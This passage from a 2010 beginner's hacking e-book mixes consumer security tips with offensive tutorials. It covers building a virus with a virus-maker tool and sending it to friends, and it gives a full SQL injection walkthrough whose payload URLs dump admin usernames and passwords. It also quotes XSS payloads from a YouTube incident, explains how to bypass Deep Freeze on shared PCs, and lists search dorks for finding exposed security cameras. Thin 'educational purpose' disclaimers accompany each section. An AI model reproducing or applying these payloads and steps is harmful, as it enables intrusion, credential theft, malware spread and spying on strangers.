from SPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your contact list. If you are using your own private email host (other than Gmail, yahoo, hotmail etc.) then it is highly recommended that you use good anti-spam software. And finally NEVER click on any links in the emails that comes from untrusted sources.

2. be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail or Yahoo (In Fire fox).

3. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do a scan before opening.

4. As we all know, Internet is the main source of all the malicious programs including viruses, worms, Trojans etc. In fact Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you can ward off virus infection up to the maximum extent.

¬ Don’t click on pop-up windows that announce a sudden disaster in your city or announce that you’ve won an hourly prize. They are the ways to mislead Internet users and you should never trust them.

¬ You can also use a pop-up blocker to automatically block those pop-ups.

5. USB thumb/pen drives are another common way by which viruses spread rapidly. So it is always a good habit to perform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it. Instead right-click on it and select the option "open”. This is a safe way to open a pen drive.

6. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website to get listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and install the AVG Link Scanner which is a freeware. This tool can become very handy and will help you to stay away from malicious websites.

7. Install a good Antispyware program that operates against Internet malware and spy ware.

8. Install good antivirus software and keep it updated. Also perform full system scan periodically. It is highly

recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from viruses. If PC security is your first option then it is recommended that you go for shareware antivirus software over the free ones. Most of the antivirus supports the Auto-Protect feature that provides real-time security for your PC. Make sure that this feature is turned on.

9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you can run a virus scan on it first to check it out.

10. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to automatically download any updates to both the operating system and Internet Explorer. These updates fix security holes in both pieces of software.

11. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus scan before executing them.

12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials, warez etc. since they contribute much in spreading of viruses and other malicious programs.

23. 10 Tips for Total Online Security.

With the sudden rise in the Internet usage across the globe over the past few years, there has also been a rise in the amount of online scams and frauds. Today most of the Internet users are unaware of the most prevailing online threats which pose a real challenge for their safe Internet usage. As a result, Online Security has become a questionable factor for the most Internet users. However it is still possible to effectively combat online insecurity provided that the users are well aware of the common scams and frauds and know how to protect themselves. A study shows that over 91% of the Internet users are unaware of the online scams and are worried about their security. Well if you are one among those 91% then here is a list of 10 tips to ensure your total online security.

1. Always install a good antivirus software and keep it up-to-date. Also install a good anti-spyware to keep your PC away from spywares.

2. Always visit known and trusted websites. If you are about to visit an unknown website, ensure that you do not click on suspect able links and banners.

3. Perform a virus scan on the files/email attachments that you download before executing them.
4. Regularly update your operating system and browser software. For a better security it is recommended that you surf the Internet through the latest version of your browser program.
5. Never share your password (email, bank logins etc.) with any one for any reason. Choose a strong password (A blend of alphanumeric special symbols) and change it regularly, eg. Every 3 months. Avoid using easy-to-guess passwords. (ex. pet’s name or kid’s name)
6. Always type the URL of the website in your browser’s address bar to enter the login pages. For e.g. to login to your yahoo mail account type http://mail.yahoo.com
7. Before you enter your password on any login page, ensure that you see https instead of http.
ex. https://mail.google.com instead of http://mail.google.com. HTTPS protocol implements SSL (Secure Sockets Layer) and provide better security than a normal HTTP. For more information on HTTPS and SSL see Know More about Secure Sockets Layer (SSL).

8. Beware of phishing emails! Do not respond to any email that request you to update your login details by clicking on a link in the body of the email. Such links can lead to Fake Login Pages (Spoofed Pages). For more information on phishing refer what is Phishing?
9. Always hit the logout button to close your login session rather than abruptly terminating the browser window. Also clear your web browser caches after every session to remove the temporary files stored in the memory and hard disk of your PC.
10. Avoid (Stop) using any public computers or computers in the Internet cafes to access any sensitive/confidential information. Also avoid such computers to login to your email/bank accounts. You cannot be sure if any spyware, keystroke-logger, password-sniffer and other malicious programs have not been installed on such a PC.

24. What to do when your orkut acc. is hacked

What to do when your orkut account is hacked
It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail, Orkut, Google Calendar, Blogger, Ad Sense, Google Docs and even Google Checkout are tied to the same account.
Here are some options suggested by Google Support when you forget the Gmail password or if someone else takes ownership of your Google Account and change the password:
1. Reset Your Google Account Password:
Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd - you will receive an email at your secondary email address with a link to reset your Google Account Password.
This will not work if the other person has changed your secondary email address or if you no longer have access to that address.
2. For Google Accounts Associated with Gmail:
If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. It however requires you to remember the exact date when you created that Gmail account.
3. For Hijacked Google Accounts Not Linked to Gmail:
If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original "Google Email Verification” message.
It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox.

25. Making a computer virus
In This Tutorial we will study about the Making of Computer virus in an easy way with software named “JPS Virus Maker".
Let’s start the tutorial.
Step 1:- Download the Necessary software for VIRUS making.
Step 2:- Unrar the pack.
Step 3:- Now open the software and You Will Get the Following Screen. (Fig -1)

(Fig -1) (Fig -2)
Step 4:- Now Select any (can be more then one) Victim option from the given options as done above. (Fig -2)
Step 5:- For Virus of Fake Message select the Fake Error Message and write the message you want to display in caption and Title Like "Error" as shown below. (Fig -3)
“Download JPS Virus Maker from here: http://www.hackingtech.co.tv/JPS_Virus_Maker.rar ”.

(Fig -3) (Fig -4)
Step 6:-To change the Password of the computer on execution of virus check CHANGE XP PASSWORD and type the new password. (Fig -4)
Step 7:-To Run any program on starting the XP click on “Run Xp Program before Execute ". And then select any Program from list you want to run at the Starting on Xp.

Step 8:- Now select any server Icon; it is the icon of the virus file. (Fig -6)
(Fig -6) (Fig -7)
Step 9:- Now select any virus Name from the list so it cannot be seen in the process from its own name. (Fig -7)
Step 10:- Click on the "make virus” Button and the virus is made.

Step 11:- Now send this file to your friends and see what happens to his/her PC.
“Do not use this hacks & trick in any criminal activities like phishing bank websites and please do not destroy any ones account this is only for educational purpose”.

Page 147

26. SQL injection for website hacking

In this tutorial I will describe how sql injection works and how to use it to get some useful information.

First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.

It allows attacker to execute database query in url and gain access to some confidential Information etc...(In shortly).

1. SQL Injection (classic or error based)

2. Blind SQL Injection (the harder part)

So let's start with some action

Step 1:- Check for vulnerability

Let's say that we have some site like this http://www.site.com/news.php?id=5

Now to test if is vulnerable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5'

so if we get some error like

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right

etc..."

Or something similar

That means is vulnerable to sql injection :)

Step 2:- Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well

just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error

(We get message like this Unknown column '4' in 'order clause' or something like that)

That means that the it has 3 columns, because we got an error on 4.

Step 3:- Check for UNION function

Hacking For Beginners – Manthan Desai 2010

```
w w w . h a c k i n g t e c h . c o . t v
Page 148
With union we can select more data in one sql statement.
So we have http://www.site.com/news.php?id=5 union all select 1,2,3/*
(We already found that numbers of columns are 3 in section 2). if we see some numbers on screen, i.e. 1 or 2 or 3 then
the UNION works
Step 4:- Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/*
NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work
properly.
Let’s say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or
version () and get something like 4.1.33-log or 5.0.45 or similar.
It should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error
"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
I didn't see any paper covering this problem, so i must write it .
What we need is convert () function
i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
Or with hex () and unhex ()
i.e.http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
And you will get MySQL version.
Step 5:- Getting table and column name
Well if the MySQL version is < 5 (i.e. 4.1.33, 4.1.12...) <--- later I will describe for MySQL > 5 version. We must guess
table and column name in most cases. Common table names are: user/s, admin/s, and member/s ... common column
names are: username, user, usr, username, password, pass, passwd, pwd etc...
I.e. would be http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*
(We see number 2 on the screen like before, and that's good )
We know that table admin exists...
Now to check column names. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*
```

(If you get an error, then try the other column name)
We get username displayed on screen, example would be admin, or superadmin etc...
Now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*
(If you get an error, then try the other column name)
We seen password on the screen in hash or plain-text, it depends of how the database is set up .
i.e. md5 hash, mysql hash, sha1...
Now we must complete query to look nice :)
For that we can use concat () function (it joins strings)
i.e.
http://www.site.com/news.php?id=5 union all select 1,concat
(Username, 0x3a, password),3 from admin/*
Note that I put 0x3a, its hex value for: (so 0x3a is hex value for colon)
(There is another way for that, char (58), ASCII value for :)
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 149
http://www.site.com/news.php?id=5 union all select 1,concat
(username,char(58), password),3 from admin/*
Now we get displayed username:password on screen, i.e. admin:admin or admin:somehash when you have this, you
can login like admin or some superuser if can't guess the right table name, you can always try mysql.user (default) it
has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat
(user,0x3a,password) ,3 from mysql.user/*
Step 6:- MySQL 5
Like I said before I’m going to explain how to get table and column names in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
To get tables we use table_name and information_schema.tables.

```
i.e.
http://www.site.com/news.php?id=5 union all select 1,table_name,3
from information_schema.tables/*
Here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3
from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3
from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3
from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3
from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3
```

```
from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc...
if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3
from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON.
let's say that we found colums user, pass and email.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 150
now to complete query to put them all together
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat
(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:pass:blabla@whatever.com
“Do not use this hacks & trick in any criminal activities like phishing bank websites hacking the
web servers and please do not destroy any ones account this is only for educational purpose”.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 151
27. How a ‘Denial of service’ attack works
On February 6th, 2000 Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day,
```

hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the morning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually choked off.

How a "denial of service" attacks works

In a typical connection, the user sends a message asking the server to authenticate it. The server returns the authentication approval to the user. The user acknowledges this approval and then is allowed onto the server.

In a denial of service attack, the user sends several authentication requests to the server, filling it up. All requests have false return addresses, so the server can't find the user when it tries to send the authentication approval. The server waits, sometimes more than a minute, before closing the connection. When it does close the connection, the attacker sends a new batch of forged requests, and the process begins again--tying up the service indefinitely.

Typical connection

"Denial of service" attack

How to block a "denial of service" attack

One of the more common methods of blocking a "denial of service" attack is to set up a filter, or "sniffer," on a network before a stream of information reaches a site's Web servers. The filter can look for attacks by noticing patterns or identifiers contained in the information. If a pattern comes in frequently, the filter can be instructed to block messages containing that pattern, protecting the Web servers from having their lines tied up.

“Do not use this hacks & trick in any criminal activities like phishing bank websites hacking the web servers and please do not destroy any ones account this is only for educational purpose”.

28. XSS vulnerability found on You Tube

On the 4th of July 2010 YouTube users began complaining that their videos had been hijacked, the comments section of their videos seemed to be most severely affected, many complained that old comments vanished and new comments could not be added. Others reported that offensive messages were popping up on their screen or scrolling horizontally in large fonts and striking colours. Some users also seemed to suggest that there were experiencing page redirects, often to sites promoting pornographic content.

YouTube users voiced their experiences on YouTube message boards, Twitter and other social networking sites. Within minutes it was apparent that the YouTube website was under attack.

You Tube’s XSS (Cross Site Scripting) defences had been defeated. Security-minded people began shouting warnings, asking users to stay off YouTube. Other YouTube users urged others to log out from their account, for fear of cookie hijacking, and other nastiest caused by XSS attacks.

Above: Some users reported this screen when browsing the YouTube site during the attack.

Within an hour or two the problem was fixed, YouTube servers were cleaned out rebooted and the Internet as we know it was restored to normality.

Very few realized that what they had just witnessed was probably the single most embarrassing and largest security breach that Google has ever suffered. This flaw could, and probably will, tarnish Google’s reputation and raise new awareness to everyone. People ask; how can Google and YouTube suffer from such a classic XSS attack as this one?

The YouTube XSS Vulnerability Explained

In XSS (Cross Site Scripting) attacks such as this one the attacker manages to ‘inject’ JavaScript code into the target website.

In this attack the Comments feature of YouTube videos was targeted. The attacker would simply paste his malicious script into the comments field that is available under videos on the YouTube website.

In its simple form, the user would put in a comment such as this one:
<script><h1><marquee><font color=”red”><u>Ha-Ha – This text will scroll in red, on your screen</script>
In this particular attack, the keyword IF_HTML_FUNCTION? Appears after the <script> tag, in the following way:
<Script>IF_HTML_FUNCTION? <h1><marquee><font color=”red”><u>Ha-Ha – This text will scroll in red, on your screen<script>
Apart from this keyword, I also noticed that the <script> tag is not properly closed. This is probably what caused other scripts on the same page to stop functioning.
During the time the YouTube was vulnerable users began creating variants of the marquee script, one of which would redirect users to go at an infamous hacker web site, as can be seen below.
<script><BODY onLoad=”var a = ‘\x68\x74\x74\x70\x3a\x2f\x2f’ + ‘\x77\x77\x77\x2e’ + ‘goatse’ + ‘\x2efr’;
location.href = a;”
One thing to note about this attack script is that the IF_HTML_FUNCTION? Is missing, but the <script> tag is still not properly closed.
Videos emerged of other users experimenting with this newly discovered flaw. One user made a video of himself exploiting the following script, which will have the effect of making the entire page black, except for the words *TEXT HERE*:
<script><h1><marquee style=”position: absolute; top: 0px; bottom: 0px; left: 0px; z-index: 9999999; right: 0px; background-color: rgb(0, 0, 0);”><font style:=”font-size:60px” color=”red”><u style=””>*TEXT HERE*<script>
Similar to the previous two examples, the <script> tag is not properly closed, and just like the example before this one, the IF_HTML_FUNCTION keyword is missing.
By the time I go around to creating my own experiments, YouTube had already fixed the problem, they also very briefly, and without detailed, admitted to the attack (Google acknowledges YouTube hack.)
The fix was swift and effective, however it impeded me from carrying out further tests, so I was not able to determine what would happen if, for example the <script> tag was properly terminated.
Lessons Learned and Countermeasures
It is still not clear whether this attack existed for a long time but never noticed, or whether it was a recently introduced bug; hopefully YouTube will explain to us how this XSS vulnerability was made possible.
My gut feeling is that a recent software update introduced this security hole; if this is the case, it reinforces what some

security experts are saying; incorporate security test in your QA process, preferably with automated tools such as vulnerability scanners. Security testing and vulnerability scanning are not exercises that are done once and then never again. They need to be re-done each time a software update is made to your web apps. In the case of YouTube, this is probably a daily exercise.

This attack is a stark reminder of how vulnerable Internet users are to XSS attacks. A classic and relatively simple attack worked against the biggest Internet giant. If Google and YouTube cannot keep their users safe, then who can?

“Warning! Do not use this attack again on youtube and try to hack it as they are back tracking this type of illegal activities, this is for educational purpose only”.

29. Hacking Deep Freeze

Deep Freeze uses a unique method of disk protection to preserve the exact original standard system configuration on over eight million Windows & Macintosh & Linux computers worldwide!

This Attack can mostly be used in cyber café's / colleges / schools etc. Where permissions are not granted to install any software on computer so you can use following steps to crack Deep Freeze.

Step 1:- First of all you need software called Deep Unfreezer.

Step 2:- Unrar the downloaded Software and You will find the file named DeepUnfreezerU1.6.exe

Step 3:- Open that software and click on Boot Thawed radio button and click on load status.

Step 4:- After loading the status click on save status button.

Step 5:- Restart the Computer and You are done. The Deep Freeze is hacked.

“Download It from Here: http://www.hackingtech.co.tv/DeepUnfreezerU1.6.rar”.

Now Again to Lock the Deep Freeze or Freeze the System as it was before cracking the Deep Freeze follow Steps Below.

Step 1:- Open the software.

Step 2:- Select the boot frozen radio button and click on load status.

Step 3:- After loading the status click on save status button.

Step 4:- Restart the Computer and You are done. The Deep Freeze has been locked again.

“Do not hack any ones PC and install any illegal software like key loggers by hacking the Deep Freeze, this is for educational purpose only”.

30. How to watch security cameras on internet

There are some Steps “How to watch Security Cameras on Internet”

Step 1. Open internet your web browser.

Step 2. Go to a search engine of your choice (i.e. Google, Yahoo, etc.), and input any of the search commands as listed below.

Step 3. After you search one of these queries, you will see some search results, click on any one of them.

Step 4. Depending on the type of camera that you have access to, you may be able to control the camera like zoom, pan, and tilt the camera to see what you want to.

Step 5. Do not try to get onto password protected cameras, as this will not go unnoticed if too many attempts are made.

Some Commands to be Remember to Find Live CCTV Cameras.

- inurl:/view.shtml
- intitle:”Live View / – AXIS” | inurl:view/view.shtml^
- inurl:ViewerFrame?Mode=
- inurl:ViewerFrame?Mode=Refresh
- inurl:axis-cgi/jpg
- inurl:view/index.shtml
- inurl:view/view.shtml
- liveapplet
- intitle:liveapplet
- allintitle:”Network Camera NetworkCamera”
- intitle:axis intitle:”video server”

```
¬ intitle:liveapplet inurl:LvAppl
¬ intitle:”EvoCam” inurl:”webcam.html”
¬ intitle:”Live NetSnap Cam-Server feed”
¬ intitle:”Live View / – AXIS 206M”
¬ intitle:”Live View / – AXIS 206W”
¬ intitle:”Live View / – AXIS 210"
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 160
¬ inurl:indexFrame.shtml Axis
¬ intitle:start inurl:cgistart
¬ intitle:”WJ-NT104 Main Page”
¬ intitle:snc-z20 inurl:home/
¬ intitle:snc-cs3 inurl:home/
¬ intitle:snc-rz30 inurl:home/
¬ intitle:”sony network camera snc-p1"
¬ viewnetcam.com
¬ intitle:”Toshiba Network Camera” user login
¬ intitle:”i-Catcher Console – Web Monitor”
Use these commands in Google Search and get the desired result.
“Do not misuse this hack or attack in any illegal activities as this is for educational purpose only”.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 161
31. List of PC file Extensions
This is a list of the most commonly found extensions, what type of file they are and what program if any they are
associated with.
.$$$ Temporary file
```

```
.$$A OS/2 program file
.$$F OS/2 database file
.$$S OS/2 spreadsheet file
. OS/2 planner file
.$DB DBASE IV temporary file
.$ED Microsoft C temporary editor file.
.$VM Microsoft Windows temporary file for virtual managers.
._DD Norton disk doctor recovery file.
._DM Nuts n Bolts disk minder recovery file.
.--- File used to backup sys, ini, dat, and other important files from Windows 3.1 and above.
.075 Ventura Publisher 75x75 dpi screen characters
.085 Ventura Publisher 85x85 dpi screen characters
.091 Ventura Publisher 91x91 dpi screen characters
.096 Ventura Publisher 96x96 dpi screen characters
.0B Pagemaker printer font LineDraw enhanced characters.
.1ST File used by some software manufacturers to represent a file that should be read first before starting the program.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 162
.2GR File used in Windows 3.x to display the graphics on older 286 and 386 computers.
.386 Virtual machine support files for the 386 enhanced mode.
.3GR File used in Windows 3.x to display the graphics on later 386, 486 and Pentium computers.
.4SW 4DOS Swap file
A
A ADA program file or UNIX library
.A3W MacroMedia Authorware 3.5 file
.ABK Autobackup file used with Corel Draw 6 and above.
.ABR Brush file for Adobe Photoshop
```

.ACT Adobe Photoshop Color table file.
.AD After Dark file.
.ADF Adapter description files.
.ADM After Dark screen saver module.
.ADR After Dark randomizer
.AI Adobe Illustrator file.
.AIF Auto Interchange File Format (AIFF) Audio file.
.ANI Windows 95 / Windows 98 / Windows NT animated mouse cursor file.
.ANS ANSI text file.
.ARJ Compressed file can be used with Winzip / Pkzip.
.ASC ASCII Text file
.ASF Sort for Advanced Streaming Format, file developed by Microsoft. The .ASF file is generally a movie player and can be open with software such as Windows Media Player.
.ASP Microsoft FrontPage Active Server Pages. To open these files use your internet browser.
.AVI Windows Movie file.
B
.BAK Backup file used for important windows files usually used with the System.ini and the Win.ini.
.BAS QBasic program and or Visual Basic Module.
.BAT Batch file that can perform tasks for you in dos, like a macro.

.BFC Microsoft Windows 95 / Windows 98 Briefcase file.
.BG Backgammon game file.
.BIN Translation tables for code pages other than the standard 437.
.BK2 Word Perfect for Windows Backup file
.BK3 Word Perfect for Windows Backup file
.BK4 Word Perfect for Windows Backup file

```
.BK5 Word Perfect for Windows Backup file
.BK6 Word Perfect for Windows Backup file
.BK7 Word Perfect for Windows Backup file
.BK8 Word Perfect for Windows Backup file
.BK9 Word Perfect for Windows Backup file
.BMP Graphical Bit Mapped File used in Windows Paintbrush.
.BNK Sim City Backup
.BPS Microsoft Works Word Processor File.
.BPT Corel Draw Bitmap master file
.BV1 Word Perfect for Windows Backup file
.BV2 Word Perfect for Windows Backup file
.BV3 Word Perfect for Windows Backup file
.BV4 Word Perfect for Windows Backup file
.BV5 Word Perfect for Windows Backup file
.BV6 Word Perfect for Windows Backup file
.BV7 Word Perfect for Windows Backup file
.BV8 Word Perfect for Windows Backup file
.BV9 Word Perfect for Windows Backup file
.BWP Battery Watch pro file.
C
.C C file used with the C programming language.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 164
.CAB Cabinet file used in Windows 95 and Windows 98 that contains all the windows files and drivers. Information
about how to extract a .CAB file can be found on document CH000363.
.CAL Windows Calendar, Supercalculator4 file or Supercal spreadsheet.
.CBL COBOL Program File
```

```
.CBT Computer Based Training files.
.CDA CD Audio Player Track.
.CDR Corel Draw Vector file.
.CFB Comptons Multimedia file
.CFG Configuration file
.CFL Corel flowchart file
.CFM Corel FontMaster file / Cold Fusion Template file / Visual dBASE windows customer form
.CHK Scandisk file which is used to back up information that scandisk has found to be bad, found in C root. Because the
information within these files are corrupted or reported as bad by Scandisk it is perfectly fine to delete these files,
providing you are currently not missing any information. Additional information about scandisk can be found on our
scandisk page.
.CL Generic LISP source code.
.CL3 Easy CD Creator layout file.
.CL4 Easy CD Creator layout file.
.CLA Java Class file.
.CLG Disk catalog database
.CLK Corel R.A.V.E. animation file.
.CLL Crick software clicker file
.CLO Cloe image
.CLP Windows Clipboard / Quattro Pro clip art / Clipper 5 compiler script
.CLR WinEdit Colorization word list / 1st reader binary color screen image / PhotStyler color definition
.CLS Visual Basic Class module / C++ Class definition
.CMD Windows Script File also OS/2 command file.
.CMV Corel Movie file.
.CNT Help file (.hlp) Contents (and other file contents)
.CPL Windows 95 / Windows 98 / Windows NT control panel icons.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
```

```
Page 165
.CNE Configuration file that builds .COM files.
.CNF Configuration file.
.COB COBOL source code file.
.COD FORTRAN Compiler program code
.COM File that can be executed.
.CPE Fax cover page file
.CPI Code Page Information or Microsoft Windows applet control panel file
.CPP C++ source code file.
.CRD Windows Card file.
.CSV Comma-Separated Variable file. Used primary with databases and spreadsheets / Image file used with CopuShow
.CUR Windows Mouse Cursor.
.CVS Canvas drawing file
.CXX C++ program file or Zortech C++ file
D
.DAT Data file, generally associated or extra data for a program to use.
.DB Paradox database file / Progress database file
.DB2 dBase II file
.DBC Microsoft Visiual Foxpro database container
.DBF dBase II,III,III+,IV / LotusWorks database.
.DBK dBase databse backup / Orcad schematic capture backup file
.DBM Cold Fusion template
.DBO dBase IV compiled program file
.DBQ Paradox memo
.DBT dBase database text file
.DBV Flexfile memo field file
.DBW DataBoss database file
.DBX Database file / DataBeam Image / MS Visual Foxpro Table
```

```
.DEV Device Driver
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 166
.DIF Document Interchange Format; VisiCalc
.DLL Dynamic Link Library; Allow executable code modules to be loaded on demand, linked at run time, and unloaded
when not needed. Windows uses these files to support foreign languages and international/nonstandard keyboards.
.DMO Demo file
.DMP Dump file
.DMD Visual dBASE data module
.DMF Delusion/XTracker Digital Music File
.DMO Demo file
.DMP Dump file
.DMS Compressed archive file
.DOC Microsoft Word Windows/DOS / LotusWorks word processor Windows/DOS /PF S:First Choice Windows/DOS
DOT MS Word Windows/DOS.
.DOS Text file and DOS Specification Info
.DOT Microsoft Word Template (Macro).
.DRV Device driver files that attach the hardware to Windows. The different drivers are system, keyboard, pointing
devices, sound, printer/ plotter, network, communications adapter.
.DRW Micrografx draw/graph files.
.DT_ Macintosh Data File Fork
.DTA Data file
.DTD SGML Document definition file
.DTF Q&A database
.DTM DigiRekker module
.DTP SecurDesk! Desktop / Timeworks Publisher Text Document / Pressworks Template file
.DUN Dialup Networking exported file.
```

```
.DX Document Imaging file / Digital data exchange file
.DXB Drawing interchange binary file
.DXF Autocad drawing interchange format file
.DXN Fujitsu dexNet fax document
.DXR Macromedia director projected movie file
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 167
.DYN Lotus 1-2-3 file
.DWG AutoCad Drawing Database
E
.EEB Button bar for Equation Editor in Word Perfect for Windows
.EFT CHIWRITER high resolution screen characters
.EGA EGA screen characters for Ventura Publisher
.ELG Event List text file used with Prosa
.EMS Enhanced Menu System configuration file for PC Tools
.EMU IRMA Workstation for Windows emulation
.ENC ADW Knowledge Ware Encyclopedia
.END Corel Draw Arrow Definition file
.ENG Sprint dictionary file engine
.ENV Word Perfect for Windows environment file.
.EPG Exported PaGe file used with DynaVox
.EPS Encapsulated Postscript, with embedded TIFF preview images.
.EQN Word Perfect for Windows Equation file
.ERD Entity Relation Diagram graphic file
.ERM Entity Relation Diagram model file
.ERR Error log file
.ESH Extended Shell Batch file
```

```
.EVT Event file scheduler file for PC Tools
.EX3 Device driver for Harvard graphics 3.0
.EXC QEMM exclude file from optimization file or Rexx program file
.EXE Executable file.
.EXT Extension file for Norton Commander
F
.FDF Adobe Acrobat Forms Document.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 168
.FF AGFA CompuGraphics outline font description.
.FFA Microsoft Fast Find file.
.FFF GUS PnP bank / defFax fax document
.FFL Microsoft Fast Find file / PrintMaster Gold form file
.FFO Microsoft Fast Find file
.FFT DCA/FFT final form text
.FFX Microsoft Fast Find file
.FON Font files to support display and output devices.
.FR3 dBase IV renamed dBase III+ form
.FRF FontMonger Font
.FRG dBase IV uncompiled report
.FRK Compressed zip file used with Apple Macinotsh computers.
.FRM Form file used with various programs / Microsoft Visual Basic Form / FrameMaker document / FrameBuilder file /
Oracle executable form / Word Perfect Merge form / DataCAD symbol report file
.FRO dBase IV compiled report / FormFlow file
.FRP PerForm Pro Plus Form
.FRS WordPerfect graphics driver
.FRT FoxPro report file
```

```
.FRX Microsoft Visual basic binary form file / FoxPro report file
.FRZ FormFlow file
G
.GIF CompuServe Graphics Interchange Format.
.GR2 286 grabbers that specify which font to use with DOS and Windows.
.GR3 386 grabbers that specify which font to use with DOS and Windows.
.GRA Microsoft Flight simulator graphics file
.GRB Microsoft MS-DOS shell monitor
.GRF Micrografx draw/graph files.
.GRP Microsoft Program Group.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 169
.GZ Compressed Archive file for GZip
H
.HBK Mathcad handbook file
.HDL Procomm Plus alternate download file listing
.HDR Procomm Plus message header
.HDX Help index
.HEX Hex dump
.HFI GEM HP font info
.HGL HP graphics language graphic
.HH C++ Header
.HHH Precompiled Header for Power C
.HHP Help data for Procomm Plus
.HLP Files that contain the Help feature used in windows, cannot be read from DOS.
.HQX Apple Macintosh Binhex text conversion file.
.HSQ Data files associated with the Qaz Trojan.
```

```
.HSS Photoshop Hue/Saturation information.
.HST History file / Procomm Plus History File / Host file.
.HTA Hypertext Application (run applications from HTML document).
.HTM Web page files containing HTML or other information found on the Internet.
I
.ICA Citrix file / IOCA graphics file
.ICB Targa Bitmap
.ICC Kodak printer image
.ICE Archive file
.ICL Icon library file
.ICM Image Color Matching profile file
.ICN Microsoft Windows Icon Manager.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 170
.ICO Microsoft Windows Icondraw / Icon.
.ID Disk identification file.
.IDB Microsoft developer intermediate file, used with Microsoft Visual Studio
.IDD MIDI instruments definition
.IDE Integrated Development Environment configuration file
.IDF MIDI instruments drivers file
.IDQ Internet data query file
.IDX Index file
.IFF IFF/LBM (Amiga) used by Computer Eyes frame grabber.
.IMG GEM/IMG (Digital Research) or Ventura Publisher bitmap graphic
.INF Information file that contains customization options.
.INI Files that initialize Windows and Windows apps.
